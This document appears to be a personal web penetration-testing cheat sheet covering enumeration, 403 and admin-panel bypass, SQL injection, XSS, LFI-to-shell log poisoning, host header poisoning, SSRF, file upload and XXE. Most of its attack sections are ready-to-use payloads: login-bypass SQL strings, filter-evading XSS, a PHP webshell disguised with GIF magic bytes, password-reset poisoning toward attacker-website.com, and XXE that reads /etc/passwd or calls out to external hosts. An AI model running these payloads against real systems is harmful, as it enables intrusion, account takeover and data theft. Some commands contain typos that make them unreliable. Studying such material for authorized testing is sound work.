Web Application Enumeration :

- Inspecting URLs
- Inspecting Page Content
- Viewing Response Headers
- Inspecting Sitemaps
- Locating Administration Consoles

Technologies :

Web Server	Soft Ware	wappalyzer / wahtweb / manual error
Data Base	Soft Ware	wappalyzer / manual error
OS	Soft Ware	wappalyzer / NSE(nmap)

Tools :

```
whatweb -v <ip>

nikto --host=http://<ip>/
```

General :

Information disclosure in error messages :

http://test.com/product?productid=2 // integer
http://test.com/product?productid=test // check the error if its trace enabled (server version)

Testing with Header Manipulation

---

1. Inspect Server's Expected Headers

```
  # Command to Fetch All Headers:
  curl -k -I https://x.x.x.x/

Look for headers indicating:
```

```
    - Authentication requirements (WWW-Authenticate, Authorization).
    - Application-specific headers like x-*
    - Security policies (Content-Security-Policy,Strict-Transport-Security).
```

2. Common Header Manipulation Techniques

```
A. Test Origin and Referrer Headers
```

```
    # Some servers use Origin or Referer headers for access control. Altering these can bypass 403 restrictions.
    curl -k -H "Origin: https://x.x.x.x" -H "Referer: https://x.x.x.x/upload" https://x.x.x.x/

    - Origin: Mimics requests from a whitelisted domain.
    - Referer: Indicates the originating page
```

```
B. Try Host Header Injection
```

```
    # Tests for virtual host misconfigurations, which may redirect you to hidden admin panels or alternative services.

    curl -k -H "Host: admin.x.x.x.x" https://x.x.x.x/
```

3. Test Authentication-Bypass Scenarios

```
    #  A. Add Authentication Headers
    curl -k -H "Authorization: Bearer example-token" https://x.x.x.x/
    curl -k -u "admin:password" https://x.x.x.x/

    #  B. Manipulate Cookies
    curl -k -H "Cookie: sessionid=test; auth=admin" https://x.x.x.x/
```

4. Bypass IP Restrictions with Proxy or Forwarding Headers

```
curl -k -H "X-Forwarded-For: 127.0.0.1" -H "X-Real-IP: 127.0.0.1" https://x.x.x.x/
```

5. Test for Debug or Development Headers

```
    # Debug headers might trigger verbose error messages or expose
sensitive information.

    curl -k -H "X-Debug: true" -H "X-Dev-Mode: 1" https://x.x.x.x/
```

6. Automate Header Testing with Tools

```
ffuf -u https://x.x.x.x/ -H "FUZZ: value" -w
/usr/share/wordlists/headers/common.txt
```

Admin Bypass :

```
TRACE /admin HTTP/1.1

 Return For Example Custum Header :
X-Custom-IP-Authorization : 50.1.22.45 // your currunt ip

 To Access the admin area we change to
X-Custom-IP-Authorization : 127.0.0.1
```

```
Direct URL Manipulation

I checked if normal users could access admin pages by changing the URL:

https://example.com/user/dashboard
https://example.com/admin/dashboard
```

```

Authentication Bypassing Admin Panel

- Payload Used : admin’ or ‘1’=’1'#
- Payload Used : ' OR '1'='1' #
```

```

 Access to an Admin Portal by Response Manipulation

1. Inspecting the behavior of this endpoint, I noticed the server
responded with JSON data containing the below

{"status":false,"user_Details":""}

2. Exploring the Behavior
```

```
> While testing the application using Burp Suite, I observed that the `_status_` and `userDetails` parameter was responsible for determining the user's access level. I began wondering: _What if this field could be manipulated?_

This was verified through source code review) →using breakpoints are also helpfull ;)


3. Manipulating the Response

Using Burp Suite's **HTTP Response Editor**, I intercepted the login response and modified the `userDetails` field to `"admin"` and `_status_` to `_"true"_` .

The manipulated response looked like this:

{"status":true,"user_Details":"admin"}

I forwarded the response to the browser and then turned the intercept off. Surprisingly, the application loaded with admin privileges!
```

Local Route Poisoning :

```
GET /admin HTTP/1.1
Host: test.com

HTTP/1.1 403 Forbidden
```

```
GET /anything HTTP/1.1
Host: test.com
X-Original-URL: /admin

HTTP/1.1 200 OK
```

Spoofable client ips http headers :

- In the context of **HTTP header spoofing**, attackers often inject or manipulate **client IP-related headers** to **bypass access controls**, **evade logging**, or **spoof user identity**, especially when dealing with **proxies, load balancers, or WAFs**.
- Host names and ports of reverse proxies (load balancers, CDNs) may differ from the origin server handling the request, in that case the `X-Forwarded-Host` header is useful to determine which `Host` was originally used.

- When a client makes an HTTP request, the IP address visible to the origin server is typically the IP of the **last proxy or load balancer**. The `X-Forwarded-For` header allows that proxy/load balancer to **append** the original client's IP address to the request, so the origin server or subsequent proxies can access it.

```
X-Forwarded-For: 203.0.113.45, 198.51.100.17
```

- `203.0.113.45` → client IP
- `198.51.100.17` → IP of the proxy or CDN
- Notes:
  - If we add those header the reverse proxies will send them in many cases without changing them.

`X-Forwarded-For`	`1.2.3.4`	Most common; spoof origin IP behind proxy.
`X-Real-IP`	`10.0.0.1`	Used by Nginx and some proxies.
`X-Client-IP`	`127.0.0.1`	Some frameworks trust this directly.
`X-Forwarded`	`for=192.168.1.10`	Variants used in load balancers.
`Forwarded`	`for=203.0.113.195; proto=http; by=203.0.113.43`	RFC 7239-compliant; newer proxy standard.
`True-Client-IP`	`8.8.8.8`	Akamai and some CDNs use this.
`X-Cluster-Client-IP`	`172.16.0.1`	Some Kubernetes setups respect this.
`CF-Connecting-IP`	`1.1.1.1`	Cloudflare origin IP header.
`Fastly-Client-IP`	`9.9.9.9`	Fastly CDN-specific.
`X-Originating-IP`	`127.0.0.2`	Sometimes found in email or HTTP apps.
`X-Remote-IP`	`100.64.0.1`	Rare but can be honored by legacy systems.
`X-Remote-Addr`	`203.0.113.1`	Another custom header for original IP.

Note

These headers are only effective if:

- The backend application **trusts proxy headers**.
- The WAF/load balancer is **misconfigured** to not overwrite or sanitize them.
- The attacker is targeting a **bypassed access control** (e.g., admin allowed from `127.0.0.1`).

Bypass 403

- Dork : `site:test.com`
- wayback > find old urls

Payloads

```
/
/*
/%2f/
/./
./.
/*/
```

Directory Based

```
If you see directory with no slash at end then do these acts there
```

```
site.com/secret => 403
site.com/secret/* => 200
site.com/secret/./ => 200
```

File Base

```
If you see file without any slash at end then do these acts there
```

```
site.com/secret.txt => 403
site.com/secret.txt/ => 200
site.com/%2f/secret.txt/ => 200
```

Protocol Base

```
Well, sound wired but check out the example for better understanding
```

```
https://site.com/secret => 403
http://site.com/secret => 200
```

Headers

```
# User-Agent Spoofing
curl -k -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64)" https://x.x.x.x/

# Host Header Injection
curl -k -H "Host: admin.x.x.x.x" https://x.x.x.x/

# Test Origin and Referrer Headers
curl -k -H "Origin: https://x.x.x.x" -H "Referer: https://x.x.x.x/upload"
https://x.x.x.x/

# Bypass IP Restrictions
curl -k -H "X-Forwarded-For: 127.0.0.1" -H "X-Real-IP: 127.0.0.1"
https://x.x.x.x/

# Test for Debug or Development Headers
curl -k -H "X-Debug: true" -H "X-Dev-Mode: 1" https://x.x.x.x/

# Automate Header Testing
ffuf -u https://x.x.x.x/ -H "FUZZ: value" -w
/usr/share/wordlists/headers/common.txt
```

Check Alternative Paths

```
  Brute-forces directories to discover hidden endpoints.
```

```
    ffuf -w /usr/share/wordlists/dirb/common.txt -k -u https://x.x.x.x/
    // for dir under / that give 403 fuzz again
    for Ex:
        ffuf -w /usr/share/wordlists/dirb/common.txt -k -u
https://x.x.x.x/
```

Bypass with Alternate HTTP Methods

```
Tests server behavior with different HTTP methods.
```

```
curl -k -X POST https://x.x.x.x/
```

Git Files :

```
Download the git repo :
- wget -r url/.get     // -r recursive

Analyze :
- cd  url/.git
- ls -lah
- cd  .git
- git log
- git log -p // more infos
```

Information Disclosure :.

- Robots.txt / Sitemap.xml
  - Might disclose restricted or internal URLs.
- Error Messages
  - Stack traces, file paths, DB errors
- JavaScript Files
  - Hardcoded secrets, endpoints, logic
- Directory Bruteforcing + Hidden Files
- Wayback Machine Recon
  - `.git`, `.env`, `.sql`, `config.json`, etc.
  - Hardcoded credentials or old API routes.
- Verbose Errors
  `?debug=true ?test=1 ?source=admin`
- Third-Party Services
  - Check for exposed data via integrations (e.g., Firebase, S3, etc.)

Exploiting Web-based Vulnerabilities :

1. Exploiting Admin Consoles

phpMyAdmin { For Ex }

- CVEs

---

2. Cross-Site Scripting (XSS)

[+] Impact ?
1. Hijack the user's session
2. Perform unauthorized activities
3. Phishing to steal user credentials

[+] How To Find ?

- Test if "> reflected :
  - // check the page for reflection and syntax
  if (") and (>) are printed in reflection without in-coding
  or filtration then the input field is vulnerable

[+] How To Exploit?

```
#1. Normal
<script>alert('XSS')</script>

#2. If the script word is removed
<scr<ScriPt>ipt>alert('XSS')</script>

#3. If script tag and alert are not allowed
<svg/onload=alert(1)>
<a href=javascript:confirm()>clickhere
<img src=aa onerror="alert('xss')";>
```

---

3. Directory / Path Traversal Vulnerabilities

- List or read files/dir only .
- no exec for any server side code.

```
https://example.com/download.php?pdf_path=file:///etc/passwd
```

---

4. File Inclusion Vulnerabilities

[+] Impact ?

- LFI :
  - Can read and execute files local on the vuln server.
  - We could read source code by php

```
    // php wrappers to read php files Ex:
    https://url/path?page=php://filter/convert.covert.base64-
encode/resource=<your-php-files>
```

- RFI:
  - Can read and execute files from out side .

[+] How To Find ?

- search for common prams (file= , iamge= ,page= ,...)

[+] How To Exploit?

- To get shell from LFI
  - There are file that we could write to them
  - Exploit those then access them from Lfi and the php shell will executed

```
/proc/self/environ      >> user-agent shell
/var/log/auth.log       >> ssh "<?php phpinfo(); ?>"@x.x.x.x
/var/log/apache2/access.log >>
```

`Vip Notes :`
When write `php code` to page use base 64 encode because the page may poisoned .
{ If The payload is wrong the code will not execute and the response will come with white page even we use valid payload after that so use encoding }

```
ssh  "<?php passthru(base64_decode('encoded-shell'));?>"@192.168.5.100
```

we can use wfuzz for fuzzing them

5. SQL Injection

[+] SQL Types :
Error based
Blind

1. Boolean based [true and false to detect the page different behavier]
2. Time based [Used when the page response doesn't change in the boolean case]

[+] Impact ?
- info leakage
- RCE

[+] where can i inject my payload ?
GET
 # /index.php?id=1
POST
html from like login page
header based
 # Referer,host, or user-agent
Cookie
id=aykalam;

[+] how to detect ?
using sql chars like : `) ' " \`

[+] How to exploit ?
1. find inject point and inject sql char
2. if any error or change in response then it may be vulnerable
3. fix query or balance sqli

1. Authentication bypass:
   >> in the login form put the username filed
   >> [' or 1=1 --space]
   >> [tom' or 1=1;#]
   >> [tom' or 1=1 LIMIT 1;#]
   this will login with the first record
   in the users table and it may be the
   the admin user.
2. Enumerating the Database:

[#] Notes :

> use \ for injection because the error will be clear

```
if the page return with no error then the query is fixed
```

```
>> Ex:
        1. id=2\  >> Error
        2. id=2' --+ >> Fix the query
```

```
                // + for GET requset
                // for POST '--space- or '--space#
                id=2') --+ >> Fix the query
                id=2") --+ >> Fix the query
                id=2")) --+ >> Fix the query
```

[#] Enumerating :

```
   /index.php?id=1' <here> --+


>> Blind :

    1. /index.php?id=1' and 'a'='a --+
        ?id=1' AND ASCII(SUBSTRING((SELECT database()),1,1))=100 --+

    2. /index.php?id=1' and sleep(5) --+
        ?id=1' AND IF(ASCII(SUBSTRING((SELECT database()),1,1))=100,
SLEEP(5), 0)--+


>> Union :

        /index.php?id=1' order by 5 --+

        union select 1,2,3,4,5   // vip negative the first no

        /index.php?id=-1' union select 1,2,3,4  --+
```

```
# Automation
sqlmap -u -p --banner --dbms=MySql --technique=U


sqlmap -u --data"user=admin&passwd=1234" -p user  --banner --dbms=MySql -
-technique=U

or
```

```
sqlmap -r req.txt -p
```

---

6. RCE

[+] Types :

- From SQL Injection to Remote Code Execution
- From Disclosure of Software Version to Remote Code Execution
- Remote Code Execution via File Upload
- Remote Code Execution via Deserialization

```
URL/rating/list?sid=%24{%40print(system("pwd"))}
```

7. Host header Injection

[+] Impact ?

1. Password reset poisoning
2. Virtual host brute-forcing
3. Web cache poisoning
4. Routing-based SSRF

[+] How To Find ?
when an X-Forwarded-Host header is present, many frameworks will refer to this instead.

```
GET /example HTTP/1.1
Host: vulnerable-website.com
X-Forwarded-Host: bad-stuff-here
```

```
GET /example HTTP/1.1
Host: vulnerable-website.com
Host: bad-stuff-here
```

```
curl -H 'Host: evil.com' https://test.com -I  // look for Location value
if return evil.com

curl -H 'X-Forwarded-Host: evil.com' https://test.com -I  // look for
```

```
Location value if return evil.com
```

```
1.
urls after crawling

2.
while read url; do curl -s -H 'Host: evil.com' $url | grep evil.com &&
echo "[+] $url Vulnerable "; done < urls.txt
```

[+] How To Exploit?

1. Password reset poisoning
   the vuln site use the host header to send the token which lead to account takeover

```
        http://[ Host ]/?token=TOKEN

GET /?token=xxxxxxxxxxxxx HTTP/1.1
Host: attacker-website.com
    or
X-Forwarded-For: attacker-website.com
X-Forwarded-Host: attacker-website.com
```

2. Invalidated redirection

```
<?php
$host = "http://".$_SERVER['HTTP_HOST'];
echo $host."/login.php";
header("Location: $host./login.php");
?>
```

3. Web cache poisoning
4. XSS in Host header [Just Self XSS]
5. Exploiting classic server-side vulnerabilities SQLi
6. Bypassing authentication
7. Virtual host brute-forcing

```
# Find hidden internal sites (virtual hosts) running on the same IP.

ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
-u http://10.10.10.10 -H "Host: FUZZ.internal.example.com" -fs 1234
Explanation:

-w: Wordlist for subdomains
```

```
-u: Target IP (or DNS if it's resolvable)

-H: Replaces Host: header with each word in the list

-fs: Filter by response size (change this after testing known bad
responses)
```

8. Routing-based SSRF

```
# Enum :
GET / HTTP/1.1
Host: oob / 192.168.0.X/24

# Access :
GET /admin HTTP/1.1
Host: 192.168.0.205
```

Tools :
- virtual host discovery [jobertabma]

8. SSRF

[+] SQL Types :

- Basic
- Blind

[+] Impact ?

- Internal Network Host discovery 192.168.1.(1 - 254)
- port scanning 127.0.0.1:(1 - 65000)
- Leaking files on the server
- Read **metadata endpoints** (e.g., AWS)
- Access **internal admin panels**
- Potentially **RCE**, if chained

[+] How To Find ?

- Entry points for SSRF vulnerabilities :
  - **URL Import Features**
  - **File Upload Mechanisms**
  - **Server Status and Monitoring Features**
  - **File Storage Integrations** Google Drive, Amazon S3, or Dropbox

- **Path Parameters and Host Headers**
- **Importing document** from Dropbox , GDrive , BOX , OneDrive , EverNote.
- **PDF got generated** on HelloSign

[+] How To Exploit?

```
# Common Path Parameters
    ?url=
    ?uri=
    ?link=
    ?next=
    ?path=
    ?req=
    &ref=
    &destination=

# Common Headers That May Lead to SSRF
    - Host
    - X-Forwarded-For
    - X-Forwarded-Host
    - X-Forwarded-Proto
    - X-Original-URL
    - Referer
```

```
[https://web.archive.org/cdx/search/cdx?
url=*.redacted.com/*&output=text&fl=original&collapse=urlkey&filter=statu
scode:200](https://web.archive.org/cdx/search/cdx?
url=*.redacted.com%2F*&output=text&fl=original&collapse=urlkey&filter=sta
tuscode%3A200)

look for API endpoints and valuable parameters from my wayback url, such
as `getImage`, `url`, `path`, etc.

[https://redacted.com/pdf-service?path=@google.com]
```

```
[+] URL :
Visit the url it self if its not respond it mean that its internal and
that indicate its may vauln. to ssrf

[ 1 ]
```

```
1.
    ?src=http[s]://your-collaborator-id.burpcollaborator.net

2. pull
3. get internal ip
4. port scanning
    1.
        ?src=https://your-collaborator-id.burpcollaborator.net:80
    2. status code 400 then pull
    3. ?src=https://your-collaborator-id.burpcollaborator.net:25
    4. or
       ?src=http [s] ://your-collaborator-id.burpcollaborator.net:25
    5. status code 400 then pull
    6.

 [ 2 ]  Or:

5. ?uri_tr=http://internal_ip:{8081} >>  fuzz 1 - 65000

-----------------------------------------------------------------
**Steps to reproduce:**

    1 - Try to use burpcollab to check if the server fetches
            data from an internal system(interacting with backend)
    2 - Send request to localhost
    3 - Try to perform sensitive actions as an unauthenicated users

-----------------------------------------------------------------
1.  ?file=http[s]://your-collaborator-id.burpcollaborator.net
2. pull
3. if any response then
4. ?file=http://localhost
5.  if any response then
6. report


-----------------------------------------------------------------
[+] Features :
Throgh html injection which happen when the pdf file generated
    from html where input in the tags reflected in the pdf.

`<iframe src=http://your-collator-id.burpcollaborator.net></iframe>`
```

```

```

9. File Upload

For every file upload page, there are some headers that always exist.

- The main headers are:
  - File Name
  - File Type
  - Magic Number
  - File Content
  - File Size

[+] Impact ?

```
Extensions Impact

    - `ASP`, `ASPX`, `PHP5`, `PHP`, `PHP3`: Webshell, RCE
    - `SVG`: Stored XSS, SSRF, XXE
    - `GIF`: Stored XSS, SSRF
    - `CSV`: CSV injection
    - `XML`: XXE
    - `HTML`, `JS` : HTML injection, XSS, Open redirect
    - `PNG`, `JPEG`: Pixel flood attack (DoS)
    - `ZIP`: RCE via LFI, DoS
    - `PDF`, `PPTX`: SSRF, BLIND XXE

```

[+] How To Find / Exploit ?

```
1. Browse the site and find each upload functionality.
2. Start with basic test by simply uploading a
   file.
3. Try Bypass :
   - Blacklist
```

```
        - file.php
                .inc
                .phtml
                .phar
                .php4,5,3
                 // work only in old php < 6
    - Whitelist
        - double extention  >   file.jpg.php
        - NULL Byte   >   file.php%00.jpg
        - Change Content-Type
    - Magic Bytes

4. Finally if successful then upload small POC or exploit further.
```

```
- Command Injection :
    1. Set filename ; sleep 10;

- SQL Injection :

    1. Set filename 'sleep(10).jpg
    2. Set filename sleep(10)-- -.jpg
```

- Test Case :

```
[+] curl -v -X OPTIONS -u URL

[+] curl -v -X OPTIONS URL/uplods/
        - DVA   // This header indecate that we can use PUT Method [
uplode shell for ex on the server ]
        - Note : if we use

[+] curl -v -X OPTIONS URL it retern 405 method not allowed but

[+] curl -v -X OPTIONS URL/uplods/ return allowed methods

[+] curl -v  URL/uplods/ --upload-file hello.txt


---------------------------829348923824
Content-Disposition: form-data; name="uploaded"; filename="dapos.php"
Content-Type: application/x-php

<?php system($_GET['cmd']); ?>
---------------------------829348923824--
```

```
---------------------------829348923824
Content-Disposition: form-data; name="uploaded"; filename="dapos.php"
Content-Type: image/gif

GIF89a; <?php system($_GET['cmd']); ?>
---------------------------829348923824--


[+] curl -k -X POST -H "x-guploader-uploadid: valid-id" -F
"file=@testfile.txt" https://x.x.x.x/upload
```

---

10. XXE

[+] Impact ?

[+] How To Find ?

1. Convert the content type from "application/json"/"application/x-www-form-urlencoded" to "applcation/xml".
2. File Uploads allows for docx/xlcs/pdf/zip , unzip the package and add your evil xml code into the xml files.
3. If svg allowed in picture upload , you can inject xml in svgs.
4. If the web app offers RSS feeds , add your milicious code into the RSS.
5. Fuzz for /soap api , some applications still running soap apis
6. If the target web app allows for SSO integration, you can inject your milicious xml code in the SAML request/reponse

[+] How To Exploit?

```
<?xml version="1.0"?>
<!DOCTYPE data [
<!ELEMENT data (#ANY)>
<!ENTITY file SYSTEM "file:///etc/passwd">
]>
<data>&file;</data>
```

```
<!DOCTYPE root [<!ENTITY test SYSTEM
'http://UNIQUE_ID_FOR_BURP_COLLABORATOR.burpcollaborator.net'>]>
<root>&test;</root>
```

OOB via SVG rasterization

xxe.svg

```
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE svg [
<!ELEMENT svg ANY >
<!ENTITY % sp SYSTEM "http://example.org:8080/xxe.xml">
%sp;
%param1;
]>
<svg viewBox="0 0 200 200" version="1.2"
xmlns="http://www.w3.org/2000/svg" style="fill:red">
      <text x="15" y="100" style="fill:black">XXE via SVG
rasterization</text>
      <rect x="0" y="0" rx="10" ry="10" width="200" height="200"
style="fill:pink;opacity:0.7"/>
      <flowRoot font-size="15">
         <flowRegion>
           <rect x="0" y="0" width="200" height="200"
style="fill:red;opacity:0.3"/>
         </flowRegion>
         <flowDiv>
            <flowPara>&exfil;</flowPara>
         </flowDiv>
      </flowRoot>
</svg>
```